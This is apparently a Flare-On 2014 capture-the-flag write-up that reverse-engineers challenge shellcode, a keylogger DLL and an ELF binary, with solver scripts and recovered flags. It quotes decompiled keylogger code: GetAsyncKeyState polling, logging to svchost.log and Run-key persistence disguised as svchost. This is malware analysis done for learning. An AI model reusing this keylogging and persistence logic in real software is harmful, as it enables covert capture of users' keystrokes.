"args": [{ "option": "Simple string", "string": "%u" }, "", true, false, true, false] },
{ "op": "Swap endianness",
"args": ["Hex", 2, true] },
{ "op": "From Hex",
"args": ["Auto"],
"disabled": true }
]
Stage 2 Analyzing Shellcode
Initial Triage
- File Type: data
- Size: 1 KB
- SHA256: 71d7690eaab011871f8e957c354e96baa16ed14ddcf719caf0776917b5eebe2d
Basic Static Analysis
- I quickly check VT for this hash and only 1 out of 54 which means this can be obfuscated and some spoofy things,

- For simplicity i used tool flare-floss for intelligent string analysis and here is what i found,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~]
ββ$ /opt/floss shellcode.bin --format sc32
INFO: floss: extracting static strings
finding decoding function features: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 126.37 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
INFO: floss.results: LoadLibraryA
INFO: floss.results: user32
INFO: floss.results: MessageBoxA
INFO: floss.results: OWNED!!!
INFO: floss.results: 2OWNED!!!
INFO: floss.results: OWNE
INFO: floss.results: ExitProcessb
extracting stackstrings: 100%|ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 28.02 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 85.55 functions/s]
INFO: floss: finished execution after 7.19 seconds
INFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
.
.
.
βββββββββββββββββββββββββββ
FLOSS STATIC STRINGS (31)
βββββββββββββββββββββββββββ
+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (31) |
+----------------------------------+
rIF%
xsq}
$~|C
.
.
.
hess
hProchExitT
T$@W
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
βββββββββββββββββββββββββ
FLOSS STACK STRINGS (7)
βββββββββββββββββββββββββ
LoadLibraryA
user32
MessageBoxA
OWNED!!!
2OWNED!!!
OWNE
ExitProcessb
βββββββββββββββββββββββββ
FLOSS TIGHT STRINGS (0)
βββββββββββββββββββββββββ
βββββββββββββββββββββββββββ
FLOSS DECODED STRINGS (0)
- There are some interesting stack strings,
LoadLibraryA: loads required Windows DLLs at runtimeMessageBoxA: displays a message box (proof of code execution)ExitProcess: - cleanly terminates the program after execution
- And some string so we will look that later,
Advance Static Analysis
- To analyze this shellcode, i can use
cutterso i simply paste shellcode incutterand analyze the assembly,

- In this disassembler, there are 2 functions,
fcn.00000000andfcn.0000035e, fcn.00000000looks very large and messy,

- I analyze some part of
fcn.00000000and i found that it is loading some strings in stack for some purpose as we discuss earlier,
![[Learning/DFIR & MARE/Reverse Engineering/Flare-On/2014/images/Pasted image 20260118140837.png]]
- So i look at the
fcn.0000035efunction and i found that,- It is building encrypted data on the stack and decrypting it in place using XOR, so the real strings only exist in memory at runtime.

- Here is the script that do whole decryption and transformation of hex and convert it to ascii,
# XOR operations
xor_pairs = [
(0x32fba316, 0x32bece79),
(0x48cf45ae, 0x2be12bc1),
(0xd29f3610, 0xfffa4471),
(0x0ca9a9f7, 0x60cfe984),
(0x43a993be, 0x3798a3d2),
(0x3b628a82, 0x4b11a4ef),
(0xccc047d6, 0xffa469be),
(0x3154caa3, 0x5265abd4)
]
# Calculate XOR results
xor_results = [val1 ^ val2 for val1, val2 in xor_pairs]
print("XOR Results:", [f"0x{r:08x}" for r in xor_results])
# Combine into single hex string
combined_hex = ''.join([f"{result:08x}" for result in xor_results])
print(f"Combined: {combined_hex}")
# Convert to bytes and reverse
hex_bytes = bytes.fromhex(combined_hex)
reversed_bytes = hex_bytes[::-1]
# Convert to ASCII
output = reversed_bytes.decode('ascii', errors='replace')
print(f"Output: {output}")
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ python decr.py
XOR Results: ['0x00456d6f', '0x632e6e6f', '0x2d657261', '0x6c664073', '0x7431306c', '0x70732e6d', '0x33642e68', '0x63316177']
Combined: 00456d6f632e6e6f2d6572616c6640737431306c70732e6d33642e6863316177
Output: wa1ch.d3m.spl01ts@flare-on.comE
- Here is the flag using static method,
wa1ch.d3m.spl01ts@flare-on.com
Advance Dynamic Analysis
0x00000359 call fcn.0000035e ; fcn.0000035e ; fcn.0000035e(int64_t arg1)
fcn.0000035e(int64_t arg1);
; arg int64_t arg1 @ rdi
; var int64_t var_65h @ stack - 0x65
; var int64_t var_48h @ stack - 0x48
; var int64_t var_40h @ stack - 0x40
0x0000035e mov edx, dword [rsp]
0x00000361 xor dword [rdx + 0xb], 0x32fba316
0x00000368 push 0x32bece79
0x0000036d xor dword [rdx + 0x17], 0x48cf45ae
0x00000374 push 0x2be12bc1
0x00000379 xor dword [rdx + 0x23], 0xd29f3610
0x00000380 push 0xfffffffffffa4471
0x00000385 xor dword [rdx + 0x2f], 0xca9a9f7
0x0000038c push 0x60cfe984
0x00000391 xor dword [rdx + 0x3b], 0x43a993be
0x00000398 push 0x3798a3d2
0x0000039d xor dword [rdx + 0x47], 0x3b628a82
0x000003a4 push 0x4b11a4ef
0x000003a9 xor dword [rdx + 0x53], 0xccc047d6
0x000003b0 push 0xffffffffffa469be
0x000003b5 xor dword [rdx + 0x5f], 0x3154caa3
0x000003bc push 0x5265abd4
0x000003c1 mov ecx, esp
- This is how it works,
- Now you might think that doing XOR first and then push value which is kind of reverse Because,
- It happens because the shellcode modifies its own instructions in memory.
- The values you see in
push 32BECE79are encrypted operands.- Before that instruction executes, the shellcode does:
xor dword ptr [edx+offset], key
- This XOR rewrites the PUSH instruction itself in memory.
- So when execution later reaches that instruction, the CPU fetches the modified bytes, not the original ones.
- Thatβs why:
push 32BECE79 β becomes β push 00456D6F


Flag Extraction
- By putting breakpoint on
004013C1we can see thatespis point to out flag so i do follow in dump forespand i got the flag.
004013C1 | 8BCC | mov ecx,esp

- Alon with flag we get those strings also which we got using floss, which are used to prompt a message box with some random text,
0019FF1C 77 61 31 63 68 2E 64 33 6D 2E 73 70 6C 30 31 74 wa1ch.d3m.spl01t
0019FF2C 73 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D 45 00 s@flare-on.comE
0019FF3C 5E 13 40 00 4F 57 4E 45 44 21 21 21 00 00 00 00 ^.@.OWNED
0019FF4C 4D 65 73 73 61 67 65 42 6F 78 41 00 75 73 65 72 MessageBoxA.
0019FF5C 33 32 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 32..LoadLibraryA
- Here is out Flag, π
wa1ch.d3m.spl01ts@flare-on.com

Challenge 5:
Stage 1 Analyzing PE File
Initial Triage
- File Type: 5get_it: PE32 executable for MS Windows 5.01 (DLL), Intel i386, 4 sections
- Size: 99KB
- SHA256: 2225b6966b9baae11ee5a8412201b30fd72c4a10e92727d92acf5ea6b5df9176
Basic Static Analysis
- Just quick VT search,
- It gives 48/69 hits so it is malicious and marked
KeyLoggerso maybe some keystroke things will be there,
- It gives 48/69 hits so it is malicious and marked

- Detect it Easy is showing that it is written in
C++and compiled with Visual Studio (2010).- Also it is not packed because entropy is nomal,


- Now we can analyze this binary with
pestudioto get more idea, - In-fact, it gives lots of info such as,
- Our sample is a
32 bit DLLfile with entry point address of0x0000B186and size of101376 Bytes. - And this binary compiled in
2014.
- Our sample is a

Now some silly floss things to see any interesting strings,
- it quite big and lots things are there so letβs break it down and show you some stuff.
As i said previously, this are some keystrokes,
- And to store them it impersonate the
svchosta legit processβs log file which issvchost.log,
- And to store them it impersonate the
[SHIFT]
[RETURN]
[BACKSPACE]
[TAB]
[CTRL]
[DELETE]
[CAPS LOCK]
GetAsyncKeyState
svchost.log
- It is a Keyboard + file write combo
- capture keystroke β write to file β flush.
GetAsyncKeyState
WriteFile
CreateFileA/W
FlushFileBuffers
SetFilePointer
- Some registry keys used to do persistence with itβs related Windows APIs,
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyA
- Something with DLL stuff,
- It referencesΒ
c:\windows\system32\svchost.dllΒ andΒsvchost.logΒ but there is no such file (Windows hasΒsvchost.exeΒ in that location). - There is alsoΒ
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllwhich means this file is most probably a DLL and should be executed like that. - There are no parameters, so whatever this DLL is doing should be inΒ
DllMain.
- It referencesΒ
c:\windows\system32\svchost.dll
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll
- Windows APIs related to Anti-Analysis Technique,
IsDebuggerPresent
Sleep
QueryPerformanceCounter
- Finally, FLOSS decoded strings,
Courier New
DDNDNNNNDND
.
.
.
FLARE ON!
- So only based on these basic analysis, we take overview of malware that how it could behave which helps us in advance analysis.
Advance Static Analysis
- Now Buckle down because we jumping into IDA for some low level stuff,
- As i said previously, there is only one export which is
DLLEntryPoint, - The Windows loader calls the DLLβs entry point defined in the PE Optional Header, which in MSVC-built DLLs is typically
DllMainCRTStartup(often labeled asDLLEntryPointby IDA). - And this
DllMainCRTStartupwill callDLLMain.
Here is the flow,
----------------------
Windows Loader
β
AddressOfEntryPoint
β
__DllMainCRTStartup
β
DllMain
----------------------
More Technically it do these process,
ntdll!LdrLoadDll
β
ntdll!LdrpCallInitRoutine
β
PE.OptionalHeader.AddressOfEntryPoint
β
__DllMainCRTStartup β CRT
β
DllMain β user code
- Here is the crux explanation,
- When a DLL is loaded,
ntdll!LdrLoadDllmaps it into memory,LdrpCallInitRoutinedecides initialization, the loader jumps to the PEβsAddressOfEntryPoint(usually__DllMainCRTStartup), which initializes the C runtime (TLS, heap, SEH, globals) and finally calls the user-definedDllMainunder the loader lock.
- When a DLL is loaded,

- Here is the
DLLMainCalled,

- Now this
DLLMainis calling other bunch of other functions, - Here is function tree,
- sub_1000A570() - Doing Persistence by adding key in Registry
- sub_1000A610() - Checking the Key already present of not
- sub_1000AD77() - nothing important..
- sub_1000A4C0() - Just adding some noise to delay the process
- sub_10009EB0 - Switch Case with all ASCII Chars
- sub_10009AF0() - Case of Char βMβ
- sub_10009AF0() - Hidden Function
- sub_10009AF0() - Case of Char βMβ
- sub_10001000
- sub_10009EB0 - Switch Case with all ASCII Chars

sub_1000A570 function,
- First i analyzed the
sub_1000A570function,

- Inside the function we encounterΒ RegOpenKeyExΒ that opens a registry key.
- Full registry key is a combination ofΒ
hKeyΒ andΒlpSubKey.ΒhKeyΒ can be one of theΒ predefined keys. - The constants for the predefined keys needed a bit of googling because the MSDN page didnβt list them. Here they are:
| Key | Constant |
|---------------------|----------|
| HKEY_CLASSES_ROOT | 0 |
| HKEY_CURRENT_USER | 1 |
| HKEY_LOCAL_MACHINE | 2 |
| HKEY_USERS | 3 |
| HKEY_CURRENT_CONFIG | 5 |
v3 = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 1u, &phkResult);
- Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegOpenKeyExA(
[in] HKEY hKey, // HKEY_LOCAL_MACHINE (0x80000002)
[in, optional] LPCSTR lpSubKey, // "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
[in] DWORD ulOptions, // 0
[in] REGSAM samDesired, // KEY_QUERY_VALUE (0x0001)
[out] PHKEY phkResult // &phkResult
);
- So if we move further,
- If function succeeds it will returnΒ
ERROR_SUCCESSΒ which is 0 according toΒ this page, otherwise it will return another error code. db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0in.rdatasection.- The binary will check if it has access to registry at that path.
- If so then the return value (in eax) will be 0 and it will jump right (JZ will succeed).

v3 = RegQueryValueExA(phkResult, "svchost", 0, 0, Data, &cbData);
- Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegQueryValueExA(
[in] HKEY hKey, // phkResult
[in, optional] LPCSTR lpValueName, // "svchost"
LPDWORD lpReserved, // 0
[out, optional] LPDWORD lpType, // 0
[out, optional] LPBYTE lpData, // Data
[in, out, optional] LPDWORD lpcbData // &cbData
);
- RegQueryValueExΒ checks if there is a registry key at an open path.
- It is looking for a registry key namedΒ
svchostΒ at that path. If such key exists, function will return 0. - In this case, it returned 2 which stands forΒ
ERROR_FILE_NOT_FOUNDΒ meaning there was no such key. - Then it will callΒ RegCloseKeyΒ and closes the open registry path. This functionβs return value is saved inΒ
var_110Β (we will need it later):
| Condition | Return Value |
|------------------------------|-------------------------------|
|Registry key cannot be opened | 1 |
|Registry key does not exist | 2 |
|Registry key exists | 1000A6BB or DllMain(x,x,x)+3B |
- This DLL is self-installing malware that checks whether it already has persistence, installed itself if not, disguises itself as
svchost, registers itself to run at every system startup via the Windows Run registry key, executes itself usingrundll32, hides its console, and then enters an infinite loop performing its main malicious activity. - Now it calls
sub_1000A610,
sub_1000A610 function,
- Now this
sub_1000A610similar as previous and here is pseudocode,
int __cdecl sub_1000A610(BYTE *lpData)
{
size_t v1; // eax
HKEY phkResult[2]; // [esp+4h] [ebp-8h] BYREF
if ( RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult) )
return 1;
v1 = strlen((const char *)lpData);
RegSetValueExA(phkResult[0], "svchost", 0, 1u, lpData, v1);
phkResult[1] = 0;
return 0;
}

- We see that it is callingΒ
GetModuleHandleExΒ forΒsub_1000A610Β and checks the return value . - The return value forΒ GetModuleHandleExΒ will be non-zero, otherwise it will be zero. If call was not successful then last error will be printed to file.


- IfΒ
GetModuleHandleExΒ was successful it will land here.Β - GetModuleFileNameΒ is called which will return the full path for the specified module inΒ
hModule. - In this case, the binary retrieves its own path and saves it inΒ
[ebp+Filename].in return value ofΒsub_1000A570Β is compared with 2. - If registry key did not exist, we will continue.
- We have already seen the strings being loaded.
- ThenΒ
CopyFileAΒ is called to copy itself toΒc:\\windows\\system32\\svchost.dll. - It
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllΒ to the stack and callsΒsub_1000A610Β . - Based on this string and checking for existence of the registry key we can guess what is going to happen in this function.
- Inside this function we see thatΒ RegCreateKeyΒ to openΒ
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. If the key does not exist, it will create it. - If call was successful, execution continues.
- It is adding a new registry key namedΒ
svchostΒ to that path with the specified value. Then function will return with the result value ofRegSetValueEx. - If it was successful, it will be 0.
- The Dll copied itself to system32 and it will run every time Windows starts.
sub_1000A4C0 Function
- Runs forever and repeatedly performs randomβcount tasks using data returned by another function, with artificial delays and memory allocation used mainly for noise / evasion.
- In short just not usefull.
void __noreturn sub_1000A4C0()
{
char *Buffer; // [esp+0h] [ebp-14h]
int v1; // [esp+4h] [ebp-10h]
void *v2; // [esp+8h] [ebp-Ch]
__int16 v3; // [esp+Ch] [ebp-8h]
while ( 1 )
{
v1 = rand() % 200 + 50;
v2 = malloc(15 * v1);
memset(v2, 0, 15 * v1);
Sleep(0xAu);
v3 = 0;
while ( v3 < v1 )
{
Sleep(0xAu);
Buffer = (char *)sub_10009EB0();
if ( Buffer )
{
sub_10001000(Buffer);
++v3;
}
}
}
}
sub_10009EB0 function,

- This loop is Scanning all keyboard keys to detect which key is pressed.
- Loops through all virtual key codes from 8 to 222 and stops when it finds which key the user pressed.
- A classic keylogger polling logic.
- Here is mapping table of keystrokes and value,
SHORT GetAsyncKeyState(
[in] int vKey // The virtual-key code
);
| VK (Virtual key codes) | Value |
|---|---|
| VK_BACK | 8 |
| VK_TAB | 9 |
| VK_RETURN | 13 |
| VK_SHIFT | 16 |
| VK_CONTROL | 17 |
| VK_MENU (Alt) | 18 |
| VK_ESCAPE | 27 |
| βAβ - βZβ or βaβ - βzβ | 65β90 |
| F1βF12 | 112β123 |
for ( i = 8; ; ++i )
{
if ( i > 222 )
return 0;
if ( GetAsyncKeyState(i) == 0xFFFF8001 )
break;
.
.
.
- After getting that pressed key, we just pass it to switch case which will further call some functions,
- And those functions are nothing but just a wrapper which return same character,


- if given input is NOT a normal character then it goes to 2nd switch case,

v1 = i - 8;
switch (i)
{
case 8:
....
case 190:
}
- Final crux of this function,
- And one importent thing,
- This function is a keystroke dispatcher, not a string collector.
- It means this whole process happens for one char only and function return and execution goes to next function which is
sub_10001000(Buffer);,
wait until user presses a key
if key is a letter/number/symbol:
return that character
else if key is Enter / Backspace / Space / Shift:
handle that action
else:
ignore and keep waiting
sub_10001000 function
- Writes the received character into a file called
svchost.log. - And this whole process happens with that
sub_1000A4C0function sleep time or just delay to make it stealth.
int __cdecl sub_10001000(char *Buffer)
{
FILE *Stream; // [esp+0h] [ebp-4h]
for ( Stream = 0; !Stream; Stream = fopen("svchost.log", "a+") )
Sleep(0xAu);
fputs(Buffer, Stream);
fclose(Stream);
return 1;
}
- Now what about flag,
- Here is some puzzle thing,
- This function is for char βMβ and it has hidden logic,
sub_10001240hidden function


const char *sub_10009AF0()
{
if ( dword_100194FC > 0 )
{
_cfltcvt_init();
sub_10001240();
}
return "m";
}
- now this
sub_10001240()is just printing banner with some cools ascii art,
INT_PTR sub_10001240()
{
HINSTANCE WindowLongA; // [esp+0h] [ebp-1590h]
wchar_t v2[12]; // [esp+4h] [ebp-158Ch] BYREF
HWND hWnd; // [esp+1Ch] [ebp-1574h]
wchar_t v4[2728]; // [esp+20h] [ebp-1570h] BYREF
LPARAM dwInitParam; // [esp+1570h] [ebp-20h]
HINSTANCE hInstance; // [esp+1574h] [ebp-1Ch]
wchar_t Source[10]; // [esp+1578h] [ebp-18h] BYREF
hWnd = 0;
dwInitParam = 0;
wcscpy(v2, L"Courier New");
wcscpy(Source, L"FLARE ON!");
wcscpy(
v4,
L"_______________________________________________NDD__________________________________________________\n"
"______________________________________________DDDDD_________________________________________________\n"
"______________________________________________DDDDDN________________________________________________\n"
"_____________________________________________DDDDDDD________________________________________________\n"
"NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN\n"
"DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD\n"
"DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD\n"
"DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________\n"
"DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________\n"
"DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__\n"
"DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__\n"
"DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________\n"
"DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________\n"
"DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN\n"
"DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD\n"
"DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN\n"
"____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________\n"
"___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________\n"
"__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________\n"
"________________________________________NDDDDDN_____________________________________________________\n"
"_______________________________________DNDDDDN______________________________________________________\n"
"_______________________________________DDDDD________________________________________________________\n"
"______________________________________DDDDD_________________________________________________________\n"
"_____________________________________DDDDD__________________________________________________________\n"
"_____________________________________NDD____________________________________________________________\n"
"____________________________________NDD_____________________________________________________________\n"
"___________________________________DD_______________________________________________________________\n");
wcscpy(&Destination, Source);
wcscpy(&word_10017034, v2);
wcscpy(&word_10017062, v4);
if ( hWnd )
WindowLongA = (HINSTANCE)GetWindowLongA(hWnd, -6);
else
WindowLongA = GetModuleHandleA(0);
hInstance = WindowLongA;
return DialogBoxIndirectParamW(WindowLongA, &hDialogTemplate, hWnd, DialogFunc, dwInitParam);
}
- But again it doesnβt have flag so i looks up little bit and here is what i understand,
- This program pretends to be a keylogger, but it is actually a flag puzzle.
- There is NO place where the flag exists as a string.
- The flag is never stored.
- The flag is never assembled.
- The flag exists only as logic.
- Under the hood:
- Each key has its own function
- Each function returns one small string
"a""m""dot""at"
- Some functions also set hidden memory flags
- Those memory flags are the real secret.
- Here are those variables,

- THE TRICK
- You are NOT supposed to type the flag.
- Typing is a decoy.
- The real flag is determined by:
- which functions set those dword flags
- and the order of those flags
- I know it looks weird and tricky, but I also find it very difficult, so this is my understanding.
- So to do this i referred one python script by xbyte, so credit goes to him.
- Here is the script,
#!/usr/bin/env python3
import r2pipe
import os
keys = [
"0x10017000","0x10019460","0x10019464","0x10019468","0x1001946c",
"0x10019470","0x10019474","0x10019478","0x1001947c","0x10019480",
"0x10019484","0x10019488","0x1001948c","0x10019490","0x10019494",
"0x10019498","0x1001949c","0x100194a0","0x100194a4","0x100194a8",
"0x100194ac","0x100194b0","0x100194b4","0x100194b8","0x100194bc",
"0x100194c0","0x100194c4","0x100194c8","0x100194cc","0x100194d0",
"0x100194d4","0x100194d8","0x100194dc","0x100194e0","0x100194e4",
"0x100194e8","0x100194ec","0x100194f0","0x100194f4","0x100194f8",
"0x100194fc","0x10019500"
]
flag = ""
if os.path.isfile("5get_it.dll"):
r2 = r2pipe.open("5get_it.dll")
r2.cmd("aaaa")
for key in keys:
xrefs = r2.cmdj("axtj " + key)
if not xrefs:
continue
for xref in xrefs:
if xref.get("opcode") == f"mov dword [{key}], 1":
fcn_called = r2.cmdj("pdfj@" + xref["fcn_name"])
if not fcn_called:
continue
for op in fcn_called.get("ops", []):
dis = op.get("disasm", "")
if "mov eax, 0x100" in dis:
addr = dis.split(",")[1].strip()
ch = r2.cmd(f"pr 1 @ {addr}")
flag += ch.strip()
r2.quit()
replacements = {
"dot": ".",
"dash": "-",
"at": "@"
}
for k, v in replacements.items():
flag = flag.replace(k, v)
print(flag)
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ python flag.py
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
l0gging.ur.5tr0ke5@flare-on.co
- Here is the falg,
l0gging.ur.5tr0ke5@flare-on.co
Challenge 6:
Stage 1 ELF Analysis
Initial Triage
- File Type: e7bc5d2c0cf4480348f5504196561297: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c65164a247cb0c44cab89c0fc06980bf6c082011, stripped
- Size: 1.16 MB
- SHA256: 3487e1de75bcb6f2c1425ca4f9b5da8fb66387343bf4a217c5a5cf93c79f0d9d
Basic Static Analysis
- Just quick VT search,
- It gives 0/69 hits so it is very weird so we will do some analysis on it,

- Detect it Easy (Die) show that this file is written in C language and compiled using GCC in ubuntu system which means it is elf binary.
- It is stripped binary so symbol was be removed so it might be difficult to analyze easily.

- It seems not packed so we donβt need to do heavy unpacking stuff,

- For better analysis i switched to
remnuxwhich is linux based malware analysis lab to doing some work on elf and linux executables. - I used
readelftool to get some info about binary and here it is,
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ readelf -h e7bc5d2c0cf4480348f5504196561297
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401058
Start of program headers: 64 (bytes into file)
Start of section headers: 1219080 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 6
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 30
- Here is silly
flossstrings which might be worth to look, - It is not that much interesting but there are some strings which looks like cpp code ad some linux commands maybe used in this binary.
- there is some interesting strings which is,
/index.html Nosebleed # Heartbleed eh? :) ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c info[20]->d_un.d_val == 7
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ floss e7bc5d2c0cf4480348f5504196561297 --format sc64 | less > floss_strings.txt
INFO: floss: extracting static strings
finding decoding function features: 100%|ββββββββββββββββββββββ| 1/1 [00:00<00:00, 453.63 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
extracting stackstrings: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 39.67 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 168.85 functions/s]
INFO: floss: finished execution after 10.94 seconds
INFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
+------------------------+------------------------------------------------------------------------------------+
| file path | e7bc5d2c0cf4480348f5504196561297 |
| identified language | unknown |
| extracted strings | |
| static strings | 6094 (53770 characters) |
| language strings | 0 ( 0 characters) |
| stack strings | 0 |
| tight strings | 0 |
| decoded strings | 0 |
+------------------------+------------------------------------------------------------------------------------+
βββββββββββββββββββββββββββββ
FLOSS STATIC STRINGS (6094)
βββββββββββββββββββββββββββββ
+------------------------------------+
| FLOSS STATIC STRINGS: ASCII (6094) |
+------------------------------------+
H9\$(t
.
.
.
Logrhythm
Rails
userdel
install
which
more
Juniper
touch
wait
unexpand
7zip
0cool
apropos
IMAP
jobs
VeriSign
==:)
BIOS
Heartbleed
.
.
.
comm
rsync
tail
timeout
BBBBBBBBB@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB>BBB?456789:;<=BBBABBB
BBBBBB
!"#$%&'()*+,-./0123BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFATAL: kernel too old
/dev/urandom
FATAL: cannot determine kernel version
/dev/full
/dev/null
cannot set %fs base address for thread-local storage
unexpected reloc type in static binary
cxa_atexit.c
l != ((void *)0)
__new_exitfn
LIBC_FATAL_STDERR_
/dev/tty
======= Backtrace: =========
======= Memory map: ========
/proc/self/maps
<heap nr="%d">
<sizes>
</heap>
malloc.c
((p)->size & 0x2)
(p->prev_size == offset)
<unknown>
malloc: top chunk is corrupt
corrupted double-linked list
TOP_PAD_
PERTURB_
MMAP_MAX_
ARENA_MAX
ARENA_TEST
TRIM_THRESHOLD_
MMAP_THRESHOLD_
free(): invalid pointer
invalid fastbin entry (free)
free(): invalid size
heap->ar_ptr == av
arena.c
p->size == (0|0x1)
locked
malloc(): memory corruption
(bck->bk->size & 0x4) == 0
(fwd->size & 0x4) == 0
bit != 0
correction >= 0
realloc(): invalid old size
realloc(): invalid next size
!((oldp)->size & 0x2)
ncopies >= 3
realloc(): invalid pointer
hooks.c
ms->av[2*i+3] == 0
nclears >= 3
Arena %d:
system bytes = %10u
in use bytes = %10u
Total (incl. mmap):
max mmap regions = %10u
max mmap bytes = %10lu
<malloc version="1">
_int_memalign
_int_malloc
sYSMALLOc
munmap_chunk
_int_free
heap_trim
mremap_chunk
_int_realloc
__libc_malloc
__libc_realloc
__libc_valloc
__libc_pvalloc
__libc_calloc
.
.
.
<total type="fast" count="%zu" size="%zu"/>
<total type="rest" count="%zu" size="%zu"/>
<system type="current" size="%zu"/>
<system type="max" size="%zu"/>
<aspace type="total" size="%zu"/>
<aspace type="mprotect" size="%zu"/>
</malloc>
malloc_consolidate
__malloc_set_state
__libc_memalign
../sysdeps/x86_64/multiarch/../cacheinfo.c
! "cannot happen"
offset == 2
.
.
.
.
.
.
xdg-open
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.shstrtab
.note.ABI-tag
.note.gnu.build-id
.rela.plt
.init
.text
__libc_freeres_fn
__libc_thread_freeres_fn
.fini
.rodata
__libc_atexit
__libc_subfreeres
__libc_thread_subfreeres
.eh_frame
.gcc_except_table
.tdata
.tbss
.init_array
.fini_array
.ctors
.dtors
.jcr
.data.rel.ro
.got
.got.plt
.data
.bss
__libc_freeres_ptrs
.comment
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
βββββββββββββββββββββββββ
FLOSS STACK STRINGS (0)
